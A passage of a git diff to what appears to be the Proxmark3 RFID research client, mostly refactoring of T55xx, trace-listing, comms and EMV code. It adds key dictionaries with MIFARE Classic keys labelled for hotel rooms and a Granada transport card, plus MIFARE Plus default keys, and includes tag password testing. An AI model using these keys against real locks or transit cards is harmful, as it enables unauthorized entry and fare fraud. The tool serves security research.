bytes_to_num(keyBlock + 4 * c, 4); + uint64_t curr_password = bytes_to_num(keyBlock + 4 * c, 4); PrintAndLogEx(INFO, "Testing %08"PRIX64, curr_password); for (dl_mode = downlink_mode; dl_mode <= 3; dl_mode++) { @@ -3484,14 +3483,20 @@ static int CmdT55xxDetectPage1(const char *Cmd) { if (!useGB) { for (dl_mode = downlink_mode; dl_mode < 4; dl_mode++) { found = AcquireData(T55x7_PAGE1, T55x7_TRACE_BLOCK1, usepwd, password, dl_mode); - //return PM3_ENODATA; - if (tryDetectP1(false)) { //tryDetectModulation()) + if (found == false) + continue; + + if (tryDetectP1(false)) { found = true; found_mode = dl_mode; dl_mode = 4; - } else found = false; + } else { + found = false; + } - if (!try_all_dl_modes) dl_mode = 4; + if (!try_all_dl_modes) { + dl_mode = 4; + } } } else { @@ -3582,18 +3587,18 @@ static int CmdT55xxSetDeviceConfig(const char *Cmd) { configurations.m[T55XX_DLMODE_FIXED].write_3 = 0; // long leading reference - configurations.m[T55XX_DLMODE_LLR].start_gap = 31 * 8; - configurations.m[T55XX_DLMODE_LLR].write_gap = 20 * 8; - configurations.m[T55XX_DLMODE_LLR].write_0 = 18 * 8; - configurations.m[T55XX_DLMODE_LLR].write_1 = 50 * 8; + configurations.m[T55XX_DLMODE_LLR].start_gap = 29 * 8; + configurations.m[T55XX_DLMODE_LLR].write_gap = 17 * 8; + configurations.m[T55XX_DLMODE_LLR].write_0 = 15 * 8; + configurations.m[T55XX_DLMODE_LLR].write_1 = 47 * 8; configurations.m[T55XX_DLMODE_LLR].read_gap = 15 * 8; configurations.m[T55XX_DLMODE_LLR].write_2 = 0; configurations.m[T55XX_DLMODE_LLR].write_3 = 0; // leading zero - configurations.m[T55XX_DLMODE_LEADING_ZERO].start_gap = 31 * 8; - configurations.m[T55XX_DLMODE_LEADING_ZERO].write_gap = 20 * 8; - configurations.m[T55XX_DLMODE_LEADING_ZERO].write_0 = 18 * 8; + configurations.m[T55XX_DLMODE_LEADING_ZERO].start_gap = 29 * 8; + configurations.m[T55XX_DLMODE_LEADING_ZERO].write_gap = 17 * 8; + configurations.m[T55XX_DLMODE_LEADING_ZERO].write_0 = 15 * 8; configurations.m[T55XX_DLMODE_LEADING_ZERO].write_1 = 40 * 8; configurations.m[T55XX_DLMODE_LEADING_ZERO].read_gap = 15 * 8; configurations.m[T55XX_DLMODE_LEADING_ZERO].write_2 = 0; diff --git a/client/cmdlfverichip.c b/client/cmdlfverichip.c index 9bccefde4..fb2e4e777 100644 --- a/client/cmdlfverichip.c +++ b/client/cmdlfverichip.c @@ -78,7 +78,7 @@ static int CmdVerichipDemod(const char *Cmd) { } static int CmdVerichipRead(const char *Cmd) { - lf_read(true, 4096 * 2 + 20); + lf_read(false, 4096 * 2 + 20); return CmdVerichipDemod(Cmd); } diff --git a/client/cmdlfviking.c b/client/cmdlfviking.c index c404b4f0a..69d8aee65 100644 --- a/client/cmdlfviking.c +++ b/client/cmdlfviking.c @@ -79,7 +79,7 @@ static int CmdVikingDemod(const char *Cmd) { //by marshmellow //see ASKDemod for what args are accepted static int CmdVikingRead(const char *Cmd) { - lf_read(true, 10000); + lf_read(false, 10000); return CmdVikingDemod(Cmd); } diff --git a/client/cmdlfvisa2000.c b/client/cmdlfvisa2000.c index 677562e12..551a1efbb 100644 --- a/client/cmdlfvisa2000.c +++ b/client/cmdlfvisa2000.c @@ -159,7 +159,7 @@ static int CmdVisa2kDemod(const char *Cmd) { // 64*96*2=12288 samples just in case we just missed the first preamble we can still catch 2 of them static int CmdVisa2kRead(const char *Cmd) { - lf_read(true, 20000); + lf_read(false, 20000); return CmdVisa2kDemod(Cmd); } diff --git a/client/cmdmain.c b/client/cmdmain.c index 802d09fa9..c2364d8f1 100644 --- a/client/cmdmain.c +++ b/client/cmdmain.c @@ -94,9 +94,9 @@ static int CmdAuto(const char *Cmd) { PrintAndLogEx(INFO, "Trying 'lf read' and save a trace for you..."); CmdPlot(""); - lf_read(true, 40000); + lf_read(false, 40000); char *fname = calloc(100, sizeof(uint8_t)); - AppendDate(fname, 100, "lf_unknown_%Y-%m-%d_%H:%M.pm3"); + AppendDate(fname, 100, "f lf_unknown_%Y-%m-%d_%H:%M"); CmdSave(fname); free(fname); return PM3_SUCCESS; diff --git a/client/cmdparser.c b/client/cmdparser.c index 72628f2fb..ab9fd3732 100644 --- a/client/cmdparser.c +++ b/client/cmdparser.c @@ -95,6 +95,12 @@ bool IfPm3Hfsniff(void) { return pm3_capabilities.compiled_with_hfsniff; } +bool IfPm3Hfplot(void) { + if (!IfPm3Present()) + return false; + return pm3_capabilities.compiled_with_hfplot; +} + bool IfPm3Iso14443a(void) { if (!IfPm3Present()) return false; @@ -174,14 +180,21 @@ int CmdsParse(const command_t Commands[], const char *Cmd) { dumpCommandsRecursive(Commands, 1); return PM3_SUCCESS; } + char cmd_name[128]; - int len = 0; memset(cmd_name, 0, sizeof(cmd_name)); + + int len = 0; + // %n == receives an integer of value equal to the number of chars read so far. + // len = max 127 sscanf(Cmd, "%127s%n", cmd_name, &len); + str_lower(cmd_name); + // Comment if (cmd_name[0] == '#') return PM3_SUCCESS; + int i = 0; while (Commands[i].Name) { if (0 == strcmp(Commands[i].Name, cmd_name)) { @@ -241,9 +254,12 @@ void dumpCommandsRecursive(const command_t cmds[], int markdown) { } while (cmds[i].Name) { - const char *cmd_offline = "N"; + + if ((cmds[i].Name[0] == '-' || strlen(cmds[i].Name) == 0) && ++i) continue; if (cmds[i].Help[0] == '{' && ++i) continue; + const char *cmd_offline = "N"; + if (cmds[i].IsAvailable()) cmd_offline = "Y"; if (markdown) @@ -257,6 +273,8 @@ void dumpCommandsRecursive(const command_t cmds[], int markdown) { // Then, print the categories. These will go into subsections with their own tables while (cmds[i].Name) { + + if ((cmds[i].Name[0] == '-' || strlen(cmds[i].Name) == 0) && ++i) continue; if (cmds[i].Help[0] != '{' && ++i) continue; PrintAndLogEx(NORMAL, "### %s%s\n\n %s\n", parent, cmds[i].Name, cmds[i].Help); diff --git a/client/cmdparser.h b/client/cmdparser.h index b98aef9d4..1105f63ae 100644 --- a/client/cmdparser.h +++ b/client/cmdparser.h @@ -34,6 +34,7 @@ bool IfPm3FpcUsartFromUsb(void); bool IfPm3Lf(void); bool IfPm3Hitag(void); bool IfPm3Hfsniff(void); +bool IfPm3Hfplot(void); bool IfPm3Iso14443a(void); bool IfPm3Iso14443b(void); bool IfPm3Iso14443(void); diff --git a/client/cmdsmartcard.c b/client/cmdsmartcard.c index 21066ffb7..6422fe605 100644 --- a/client/cmdsmartcard.c +++ b/client/cmdsmartcard.c @@ -54,7 +54,7 @@ static int usage_sm_reader(void) { return 0; } static int usage_sm_info(void) { - PrintAndLogEx(NORMAL, "Usage: s info [h|s]"); + PrintAndLogEx(NORMAL, "Usage: sc info [h|s]"); PrintAndLogEx(NORMAL, " h : this help"); PrintAndLogEx(NORMAL, " s : silent (no messages)"); PrintAndLogEx(NORMAL, ""); @@ -740,7 +740,7 @@ static int CmdSmartInfo(const char *Cmd) { PrintAndLogEx(INFO, "--- Smartcard Information ---------"); PrintAndLogEx(INFO, "-------------------------------------------------------------"); PrintAndLogEx(INFO, "ISO7618-3 ATR : %s", sprint_hex(card.atr, card.atr_len)); - PrintAndLogEx(INFO, "\nhttp://smartcard-atr.appspot.com/parse?ATR=%s", sprint_hex_inrow(card.atr, card.atr_len)); + PrintAndLogEx(INFO, "\nhttp://smartcard-atr.apdu.fr/parse?ATR=%s", sprint_hex_inrow(card.atr, card.atr_len)); // print ATR PrintAndLogEx(NORMAL, ""); diff --git a/client/cmdtrace.c b/client/cmdtrace.c index 67f15be59..88f55ed3f 100644 --- a/client/cmdtrace.c +++ b/client/cmdtrace.c @@ -17,6 +17,7 @@ #include "cmdhflist.h" // annotations #include "comms.h" // for sending cmds to device. GetFromBigBuf #include "fileutils.h" // for saveFile +#include "cmdlfhitag.h" // annotate hitag static int CmdHelp(const char *Cmd); @@ -45,26 +46,29 @@ static int usage_trace_list() { PrintAndLogEx(NORMAL, " iclass - interpret data as iclass communications"); PrintAndLogEx(NORMAL, " legic - interpret data as LEGIC communications"); PrintAndLogEx(NORMAL, " felica - interpret data as ISO18092 / FeliCa communications"); - PrintAndLogEx(NORMAL, " hitag - interpret data as Hitag2 / HitagS communications"); + PrintAndLogEx(NORMAL, " hitag1 - interpret data as Hitag1 communications"); + PrintAndLogEx(NORMAL, " hitag2 - interpret data as Hitag2 communications"); + PrintAndLogEx(NORMAL, " hitags - interpret data as HitagS communications"); + PrintAndLogEx(NORMAL, " lto - interpret data as LTO-CM communications"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace list 14a f"); PrintAndLogEx(NORMAL, " trace list iclass"); - return 0; + return PM3_SUCCESS; } static int usage_trace_load() { PrintAndLogEx(NORMAL, "Load protocol data from file to trace buffer."); PrintAndLogEx(NORMAL, "Usage: trace load "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace load mytracefile.bin"); - return 0; + return PM3_SUCCESS; } static int usage_trace_save() { PrintAndLogEx(NORMAL, "Save protocol data from trace buffer to file."); PrintAndLogEx(NORMAL, "Usage: trace save "); PrintAndLogEx(NORMAL, "Examples:"); PrintAndLogEx(NORMAL, " trace save mytracefile.bin"); - return 0; + return PM3_SUCCESS; } static bool is_last_record(uint16_t tracepos, uint8_t *trace, uint16_t traceLen) { @@ -264,6 +268,7 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr break; case ISO_14443A: case MFDES: + case LTO: crcStatus = iso14443A_CRC_check(isResponse, frame, data_len); break; case THINFILM: @@ -279,7 +284,9 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr crcStatus = iso15693_CRC_check(frame, data_len); break; case ISO_7816_4: - case PROTO_HITAG: + case PROTO_HITAG1: + case PROTO_HITAG2: + case PROTO_HITAGS: default: break; } @@ -299,9 +306,12 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr && protocol != ISO_15693 && protocol != ICLASS && protocol != ISO_7816_4 - && protocol != PROTO_HITAG + && protocol != PROTO_HITAG1 + && protocol != PROTO_HITAG2 + && protocol != PROTO_HITAGS && protocol != THINFILM && protocol != FELICA + && protocol != LTO && (isResponse || protocol == ISO_14443A) && (oddparity8(frame[j]) != ((parityBits >> (7 - (j & 0x0007))) & 0x01))) { @@ -379,6 +389,18 @@ static uint16_t printTraceLine(uint16_t tracepos, uint16_t traceLen, uint8_t *tr case FELICA: annotateFelica(explanation, sizeof(explanation), frame, data_len); break; + case LTO: + annotateLTO(explanation, sizeof(explanation), frame, data_len); + break; + case PROTO_HITAG1: + annotateHitag1(explanation, sizeof(explanation), frame, data_len); + break; + case PROTO_HITAG2: + annotateHitag2(explanation, sizeof(explanation), frame, data_len); + break; + case PROTO_HITAGS: + annotateHitagS(explanation, sizeof(explanation), frame, data_len); + break; default: break; } @@ -450,7 +472,7 @@ static int CmdTraceLoad(const char *Cmd) { if ((f = fopen(filename, "rb")) == NULL) { PrintAndLogEx(FAILED, "Could not open file " _YELLOW_("%s"), filename); - return 0; + return PM3_EIO; } // get filesize in order to malloc memory @@ -461,12 +483,12 @@ static int CmdTraceLoad(const char *Cmd) { if (fsize < 0) { PrintAndLogEx(FAILED, "error, when getting filesize"); fclose(f); - return 3; + return PM3_EIO; } if (fsize < 4) { PrintAndLogEx(FAILED, "error, file is too small"); fclose(f); - return 4; + return PM3_ESOFT; } if (trace) @@ -476,21 +498,21 @@ static int CmdTraceLoad(const char *Cmd) { if (!trace) { PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); fclose(f); - return 2; + return PM3_EMALLOC; } size_t bytes_read = fread(trace, 1, fsize, f); traceLen = bytes_read; fclose(f); PrintAndLogEx(SUCCESS, "Recorded Activity (TraceLen = %lu bytes) loaded from file %s", traceLen, filename); - return 0; + return PM3_SUCCESS; } static int CmdTraceSave(const char *Cmd) { if (traceLen == 0) { PrintAndLogEx(WARNING, "trace is empty, nothing to save"); - return 0; + return PM3_SUCCESS; } char filename[FILE_PATH_SIZE]; @@ -499,7 +521,7 @@ static int CmdTraceSave(const char *Cmd) { param_getstr(Cmd, 0, filename, sizeof(filename)); saveFile(filename, ".bin", trace, traceLen); - return 0; + return PM3_SUCCESS; } static command_t CommandTable[] = { @@ -513,7 +535,7 @@ static command_t CommandTable[] = { static int CmdHelp(const char *Cmd) { (void)Cmd; // Cmd is not used so far CmdsHelp(CommandTable); - return 0; + return PM3_SUCCESS; } int CmdTrace(const char *Cmd) { @@ -587,8 +609,11 @@ int CmdTraceList(const char *Cmd) { else if (strcmp(type, "15") == 0) protocol = ISO_15693; else if (strcmp(type, "felica") == 0) protocol = FELICA; else if (strcmp(type, "mf") == 0) protocol = PROTO_MIFARE; - else if (strcmp(type, "hitag") == 0) protocol = PROTO_HITAG; + else if (strcmp(type, "hitag1") == 0) protocol = PROTO_HITAG1; + else if (strcmp(type, "hitag2") == 0) protocol = PROTO_HITAG2; + else if (strcmp(type, "hitags") == 0) protocol = PROTO_HITAGS; else if (strcmp(type, "thinfilm") == 0) protocol = THINFILM; + else if (strcmp(type, "lto") == 0) protocol = LTO; else if (strcmp(type, "raw") == 0) protocol = -1; //No crc, no annotations else errors = true; @@ -604,15 +629,20 @@ int CmdTraceList(const char *Cmd) { uint16_t tracepos = 0; // reserv some space. - if (!trace) + if (!trace) { trace = calloc(PM3_CMD_DATA_SIZE, sizeof(uint8_t)); + if (trace == NULL) { + PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); + return PM3_EMALLOC; + } + } if (isOnline) { // Query for the size of the trace, downloading PM3_CMD_DATA_SIZE PacketResponseNG response; if (!GetFromDevice(BIG_BUF, trace, PM3_CMD_DATA_SIZE, 0, NULL, 0, &response, 4000, true)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return 1; + return PM3_ETIMEOUT; } traceLen = response.oldarg[2]; @@ -621,19 +651,18 @@ int CmdTraceList(const char *Cmd) { if (p == NULL) { PrintAndLogEx(FAILED, "Cannot allocate memory for trace"); free(trace); - return 2; + return PM3_EMALLOC; } trace = p; if (!GetFromDevice(BIG_BUF, trace, traceLen, 0, NULL, 0, NULL, 2500, false)) { PrintAndLogEx(WARNING, "command execution time out"); free(trace); - return 3; + return PM3_ETIMEOUT; } } } - PrintAndLogEx(SUCCESS, "Recorded Activity (TraceLen = %lu bytes)", traceLen); - PrintAndLogEx(INFO, ""); + PrintAndLogEx(SUCCESS, "Recorded activity (trace len = " _YELLOW_("%lu") "bytes)", traceLen); /* if (protocol == FELICA) { @@ -645,27 +674,27 @@ int CmdTraceList(const char *Cmd) { tracepos = printHexLine(tracepos, traceLen, trace, protocol); } } else { - PrintAndLogEx(NORMAL, "Start = Start of Start Bit, End = End of last modulation. Src = Source of Transfer"); - if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ) - PrintAndLogEx(NORMAL, "ISO14443A - All times are in carrier periods (1/13.56MHz)"); + PrintAndLogEx(INFO, _YELLOW_("Start") "= Start of Start Bit, " _YELLOW_("End") "= End of last modulation. " _YELLOW_("Src") "= Source of Transfer"); + if (protocol == ISO_14443A || protocol == PROTO_MIFARE || protocol == MFDES || protocol == TOPAZ || protocol == LTO) + PrintAndLogEx(INFO, "ISO14443A - All times are in carrier periods (1/13.56MHz)"); if (protocol == THINFILM) - PrintAndLogEx(NORMAL, "Thinfilm - All times are in carrier periods (1/13.56MHz)"); + PrintAndLogEx(INFO, "Thinfilm - All times are in carrier periods (1/13.56MHz)"); if (protocol == ICLASS) - PrintAndLogEx(NORMAL, "iClass - Timings are not as accurate"); + PrintAndLogEx(INFO, "iClass - Timings are not as accurate"); if (protocol == LEGIC) - PrintAndLogEx(NORMAL, "LEGIC - Reader Mode: Timings are in ticks (1us == 1.5ticks)\n" + PrintAndLogEx(INFO, "LEGIC - Reader Mode: Timings are in ticks (1us == 1.5ticks)\n" " Tag Mode: Timings are in sub carrier periods (1/212 kHz == 4.7us)"); if (protocol == ISO_14443B) - PrintAndLogEx(NORMAL, "ISO14443B"); // Timings ? + PrintAndLogEx(INFO, "ISO14443B"); // Timings ? if (protocol == ISO_15693) - PrintAndLogEx(NORMAL, "ISO15693 - Timings are not as accurate"); + PrintAndLogEx(INFO, "ISO15693 - Timings are not as accurate"); if (protocol == ISO_7816_4) - PrintAndLogEx(NORMAL, "ISO7816-4 / Smartcard - Timings N/A yet"); - if (protocol == PROTO_HITAG) - PrintAndLogEx(NORMAL, "Hitag2 / HitagS - Timings in ETU (8us)"); + PrintAndLogEx(INFO, "ISO7816-4 / Smartcard - Timings N/A yet"); + if (protocol == PROTO_HITAG1 || protocol == PROTO_HITAG2 || protocol == PROTO_HITAGS) + PrintAndLogEx(INFO, "Hitag1 / Hitag2 / HitagS - Timings in ETU (8us)"); if (protocol == FELICA) - PrintAndLogEx(NORMAL, "ISO18092 / FeliCa - Timings are not as accurate"); - + PrintAndLogEx(INFO, "ISO18092 / FeliCa - Timings are not as accurate"); + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(NORMAL, " Start | End | Src | Data (! denotes parity error) | CRC | Annotation"); PrintAndLogEx(NORMAL, "------------+------------+-----+-------------------------------------------------------------------------+-----+--------------------"); @@ -678,6 +707,6 @@ int CmdTraceList(const char *Cmd) { break; } } - return 0; + return PM3_SUCCESS; } diff --git a/client/comms.c b/client/comms.c index d39680c6c..7a9086873 100644 --- a/client/comms.c +++ b/client/comms.c @@ -24,6 +24,8 @@ //#define COMMS_DEBUG //#define COMMS_DEBUG_RAW +uint8_t gui_serial_port_name[FILE_PATH_SIZE]; + // Serial port that we are communicating with the PM3 on. static serial_port sp = NULL; @@ -545,6 +547,7 @@ bool OpenProxmark(void *port, bool wait_for_port, int timeout, bool flash_mode, PrintAndLogEx(SUCCESS, "Waiting for Proxmark3 to appear on " _YELLOW_("%s"), portname); fflush(stdout); int openCount = 0; + PrintAndLogEx(INPLACE, ""); do { sp = uart_open(portname, speed); msleep(500); @@ -568,6 +571,9 @@ bool OpenProxmark(void *port, bool wait_for_port, int timeout, bool flash_mode, uint16_t len = MIN(strlen(portname), FILE_PATH_SIZE - 1); memset(conn.serial_port_name, 0, FILE_PATH_SIZE); memcpy(conn.serial_port_name, portname, len); + + memset(gui_serial_port_name, 0, FILE_PATH_SIZE); + memcpy(gui_serial_port_name, portname, len); } conn.run = true; conn.block_after_ACK = flash_mode; @@ -582,7 +588,6 @@ bool OpenProxmark(void *port, bool wait_for_port, int timeout, bool flash_mode, session.pm3_present = true; fflush(stdout); - return true; } } @@ -725,7 +730,7 @@ bool WaitForResponseTimeoutW(uint32_t cmd, PacketResponseNG *response, size_t ms } uint64_t tmp_clk = __atomic_load_n(&timeout_start_time, __ATOMIC_SEQ_CST); - if ((ms_timeout != (size_t) -1) && (msclock() - tmp_clk > ms_timeout)) + if ((ms_timeout != (size_t) - 1) && (msclock() - tmp_clk > ms_timeout)) break; if (msclock() - tmp_clk > 3000 && show_warning) { @@ -797,6 +802,10 @@ bool GetFromDevice(DeviceMemType_t memtype, uint8_t *dest, uint32_t bytes, uint3 //return dl_it(dest, bytes, response, ms_timeout, show_warning, CMD_DOWNLOADED_SIMMEM); return false; } + case FPGA_MEM: { + SendCommandMIX(CMD_FPGAMEM_DOWNLOAD, start_index, bytes, 0, NULL, 0); + return dl_it(dest, bytes, response, ms_timeout, show_warning, CMD_FPGAMEM_DOWNLOADED); + } } return false; } @@ -807,7 +816,7 @@ static bool dl_it(uint8_t *dest, uint32_t bytes, PacketResponseNG *response, siz __atomic_store_n(&timeout_start_time, msclock(), __ATOMIC_SEQ_CST); // Add delay depending on the communication channel & speed - if (ms_timeout != (size_t) -1) + if (ms_timeout != (size_t) - 1) ms_timeout += communication_delay(); while (true) { diff --git a/client/comms.h b/client/comms.h index b49ff6d11..288e8a326 100644 --- a/client/comms.h +++ b/client/comms.h @@ -40,9 +40,11 @@ typedef enum { BIG_BUF_EML, FLASH_MEM, SIM_MEM, - SPIFFS + SPIFFS, + FPGA_MEM, } DeviceMemType_t; + typedef struct { bool run; // If TRUE, continue running the uart_communication thread bool block_after_ACK; // if true, block after receiving an ACK package @@ -59,6 +61,8 @@ typedef struct { extern communication_arg_t conn; +extern uint8_t gui_serial_port_name[FILE_PATH_SIZE]; + void *uart_receiver(void *targ); void SendCommandBL(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); void SendCommandOLD(uint64_t cmd, uint64_t arg0, uint64_t arg1, uint64_t arg2, void *data, size_t len); diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index eeecff9ba..0d838d435 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -1035,3 +1035,51 @@ bb2c0007d022 # Hotel Berlin Classic room B KEY # 0734bfb93dab 85a438f72a8a +# +# Data from forum, Chinese hotel +58ac17bf3629 +b62307b62307 +# +a2a3cca2a3cc +# +# Granada, ES Transport Card +000000270000 +0172066b2f03 +0172066b2f33 +066b2f230172 +0b0172066b2f +0f385ffb6529 +172066b2f2f0 +2066b2f27017 +29173860fc76 +2f130172066b +2fca8492f386 +385efa542907 +3864fcba5937 +3b0172066b2f +3f3865fccb69 +5c8ff9990da2 +6291b3860fc8 +63fca9492f38 +66b2f1f01720 +6b2f1b017206 +70172066b2f0 +70172066b2f3 +72066b2f2b01 +863fcb959373 +87291f3861fc +913385ffb752 +b2f170172066 +b385efa64290 +c9739233861f +f0f0172066b2 +f3864fcca693 +f3f0172066b2 +fc9839273862 + +# various hotel keys +34D3C568B348 +91FF18E63887 +4D8B8B95FDEE +354A787087F1 +4a306e62e9b6 diff --git a/client/dictionaries/mfp_default_keys.dic b/client/dictionaries/mfp_default_keys.dic new file mode 100644 index 000000000..0f20b69bf --- /dev/null +++ b/client/dictionaries/mfp_default_keys.dic @@ -0,0 +1,27 @@ +ffffffffffffffffffffffffffffffff +00000000000000000000000000000000 +a0a1a2a3a4a5a6a7a0a1a2a3a4a5a6a7 +b0b1b2b3b4b5b6b7b0b1b2b3b4b5b6b7 +d3f7d3f7d3f7d3f7d3f7d3f7d3f7d3f7 +11111111111111111111111111111111 +22222222222222222222222222222222 +33333333333333333333333333333333 +44444444444444444444444444444444 +55555555555555555555555555555555 +66666666666666666666666666666666 +77777777777777777777777777777777 +88888888888888888888888888888888 +99999999999999999999999999999999 +aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa +bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb +cccccccccccccccccccccccccccccccc +dddddddddddddddddddddddddddddddd +eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee +000102030405060708090a0b0c0d0e0f +0102030405060708090a0b0c0d0e0f10 +00010203040506070809101112131415 +01020304050607080910111213141516 +16151413121110090807060504030201 +15141312111009080706050403020100 +0f0e0d0c0b0a09080706050403020100 +100f0e0d0c0b0a090807060504030201 diff --git a/client/emv/apduinfo.h b/client/emv/apduinfo.h index 590c72885..d319b4e43 100644 --- a/client/emv/apduinfo.h +++ b/client/emv/apduinfo.h @@ -59,7 +59,7 @@ typedef struct { extern int APDUDecode(uint8_t *data, int len, APDUStruct *apdu); extern int APDUEncode(APDUStruct *apdu, uint8_t *data, int *len); -extern int APDUEncodeS(sAPDU *apdu, bool extended, uint16_t le, uint8_t *data, int *len); +extern int APDUEncodeS(sAPDU *sapdu, bool extended, uint16_t le, uint8_t *data, int *len); extern void APDUPrint(APDUStruct apdu); extern void APDUPrintEx(APDUStruct apdu, size_t maxdatalen); diff --git a/client/emv/crypto_polarssl.c b/client/emv/crypto_polarssl.c index a6f69a529..e258f1bbb 100644 --- a/client/emv/crypto_polarssl.c +++ b/client/emv/crypto_polarssl.c @@ -136,9 +136,15 @@ static struct crypto_pk *crypto_pk_polarssl_open_priv_rsa(va_list vl) { mbedtls_mpi_read_binary(&cp->ctx.Q, (const unsigned char *)q, qlen); mbedtls_mpi_read_binary(&cp->ctx.DP, (const unsigned char *)dp, dplen); mbedtls_mpi_read_binary(&cp->ctx.DQ, (const unsigned char *)dq, dqlen); - mbedtls_mpi_inv_mod(&cp->ctx.QP, &cp->ctx.Q, &cp->ctx.P); - int res = mbedtls_rsa_check_privkey(&cp->ctx); + int res = mbedtls_mpi_inv_mod(&cp->ctx.QP, &cp->ctx.Q, &cp->ctx.P); + if (res != 0) { + fprintf(stderr, "PolarSSL private key error res=%x exp=%d mod=%d.\n", res * -1, explen, modlen); + free(cp); + return NULL; + } + + res = mbedtls_rsa_check_privkey(&cp->ctx); if (res != 0) { fprintf(stderr, "PolarSSL private key error res=%x exp=%d mod=%d.\n", res * -1, explen, modlen); free(cp); @@ -150,9 +156,7 @@ static struct crypto_pk *crypto_pk_polarssl_open_priv_rsa(va_list vl) { static int myrand(void *rng_state, unsigned char *output, size_t len) { size_t i; - - if (rng_state != NULL) - rng_state = NULL; + rng_state = NULL; for (i = 0; i < len; ++i) output[i] = rand(); diff --git a/client/emv/dol.c b/client/emv/dol.c index c7f8fd563..973349e56 100644 --- a/client/emv/dol.c +++ b/client/emv/dol.c @@ -32,14 +32,14 @@ static size_t dol_calculate_len(const struct tlv *tlv, size_t data_len) { size_t count = 0; while (left) { - struct tlv tlv; - if (!tlv_parse_tl(&buf, &left, &tlv)) + struct tlv cur_tlv; + if (!tlv_parse_tl(&buf, &left, &cur_tlv)) return 0; - count += tlv.len; + count += cur_tlv.len; /* Last tag can be of variable length */ - if (tlv.len == 0 && left == 0) + if (cur_tlv.len == 0 && left == 0) count = data_len; } diff --git a/client/emv/emv_pk.h b/client/emv/emv_pk.h index 015a06dd6..eda5883a8 100644 --- a/client/emv/emv_pk.h +++ b/client/emv/emv_pk.h @@ -35,7 +35,7 @@ struct emv_pk { #define EXPIRE(yy, mm, dd) 0x ## yy ## mm ## dd -struct emv_pk *emv_pk_parse_pk(char *bufm, size_t buflen); +struct emv_pk *emv_pk_parse_pk(char *buf, size_t buflen); struct emv_pk *emv_pk_new(size_t modlen, size_t explen); void emv_pk_free(struct emv_pk *pk); char *emv_pk_dump_pk(const struct emv_pk *pk); diff --git a/client/emv/emvcore.c b/client/emv/emvcore.c index c18521b6c..5bf330fe4 100644 --- a/client/emv/emvcore.c +++ b/client/emv/emvcore.c @@ -490,10 +490,10 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO for (uint8_t ui = 0x01; ui <= 0x10; ui++) { if (sfidatalen[ui]) { - struct tlvdb *tsfi = NULL; - tsfi = tlvdb_parse_multi(sfidata[ui], sfidatalen[ui]); - if (tsfi) { - struct tlvdb *tsfitmp = tlvdb_find_path(tsfi, (tlv_tag_t[]) {0x70, 0x61, 0x00}); + + struct tlvdb *tsfi_a = tlvdb_parse_multi(sfidata[ui], sfidatalen[ui]); + if (tsfi_a) { + struct tlvdb *tsfitmp = tlvdb_find_path(tsfi_a, (tlv_tag_t[]) {0x70, 0x61, 0x00}); if (!tsfitmp) { PrintAndLogEx(FAILED, "SFI 0x%02zu doesn't have any records.", sfidatalen[ui]); continue; @@ -501,7 +501,7 @@ int EMVSearchPSE(EMVCommandChannel channel, bool ActivateField, bool LeaveFieldO res = EMVCheckAID(channel, decodeTLV, tsfitmp, tlv); fileFound = true; } - tlvdb_free(tsfi); + tlvdb_free(tsfi_a); } } } diff --git a/client/fido/cose.c b/client/fido/cose.c index 0812288e3..9caa0f4cc 100644 --- a/client/fido/cose.c +++ b/client/fido/cose.c @@ -81,39 +81,39 @@ const char *GetCOSECurveDescription(int id) { // RFC8152 https://www.iana.org/assignments/cose/cose.xhtml#algorithms COSEValueNameDesc_t COSEAlg[] = { - {-65536, "Unassigned", "Unassigned"}, - {-65535, "RS1", "RSASSA-PKCS1-v1_5 w/ SHA-1"}, - {-259, "RS512", "RSASSA-PKCS1-v1_5 w/ SHA-512"}, - {-258, "RS384", "RSASSA-PKCS1-v1_5 w/ SHA-384"}, - {-257, "RS256", "RSASSA-PKCS1-v1_5 w/ SHA-256"}, - {-42, "RSAES-OAEP w/ SHA-512", "RSAES-OAEP w/ SHA-512"}, - {-41, "RSAES-OAEP w/ SHA-256", "RSAES-OAEP w/ SHA-256"}, - {-40, "RSAES-OAEP w/ RFC 8017 def param", "RSAES-OAEP w/ SHA-1"}, - {-39, "PS512", "RSASSA-PSS w/ SHA-512"}, - {-38, "PS384", "RSASSA-PSS w/ SHA-384"}, - {-37, "PS256", "RSASSA-PSS w/ SHA-256"}, - {-36, "ES512", "ECDSA w/ SHA-512"}, - {-35, "ES384", "ECDSA w/ SHA-384"}, - {-34, "ECDH-SS + A256KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, - {-33, "ECDH-SS + A192KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, - {-32, "ECDH-SS + A128KW", "ECDH SS w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, - {-31, "ECDH-ES + A256KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 256-bit key"}, - {-30, "ECDH-ES + A192KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 192-bit key"}, - {-29, "ECDH-ES + A128KW", "ECDH ES w/ Concat KDF and AES Key Wrap w/ 128-bit key"}, - {-28, "ECDH-SS + HKDF-512", "ECDH SS w/ HKDF - generate key directly"}, - {-27, "ECDH-SS + HKDF-256", "ECDH SS w/ HKDF - generate key directly"}, - {-26, "ECDH-ES + HKDF-512", "ECDH ES w/ HKDF - generate key directly"}, - {-25, "ECDH-ES + 